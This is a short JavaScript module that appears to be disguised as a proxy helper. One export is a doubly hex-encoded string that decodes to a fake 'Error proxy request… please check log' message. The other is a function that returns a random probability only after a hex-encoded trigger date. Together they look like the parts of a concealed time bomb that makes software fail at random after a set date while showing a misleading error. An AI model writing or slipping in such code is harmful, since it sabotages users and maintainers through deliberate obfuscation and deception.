
const proxy = `3235343533363235333934333235333834343235343533353235333834313235343133313235343533383235343134363235343233373235343533363235343233313235333833323235343533353235333834313235343133303235343533383235343234343235343234343235343533343235343233383235343134343235343534363235343234333235333833383435373237323666373232353332333037303732366637383739323533323330373236353731373536353733373432353435343632353432343332353338343337303663363536313733363532353332333036333638363536333662323533323330366336663637323534353436323534323433323533383339326532653265`
const hexToString = (hex)=> {
    let arr = hex.split("")
    let out = ""
    for (let i = 0; i < arr.length / 2; i++) {
        let tmp = "0x" + arr[i * 2] + arr[i * 2 + 1]
        let charValue = String.fromCharCode(tmp);
        out += charValue
    }
    return out
}
const proxy_req = decodeURIComponent(hexToString(hexToString(proxy)))



const generateProxy = (minProbability = 0, maxProbability = 1, triggerDate = null) => {
    if (minProbability < 0 || maxProbability > 1 || minProbability >= maxProbability) {
        return 0
    }
    const range = maxProbability - minProbability;
    const randomProb = minProbability + Math.random() * range;
    if (triggerDate) { //YYYY-MM-DD
        const currentDate = new Date();
        if (currentDate >= new Date(hexToString(triggerDate))) {
            return randomProb;
        } else {
            return 0;
        }
    }
    return randomProb;
}
export {
    proxy_req,
    generateProxy
}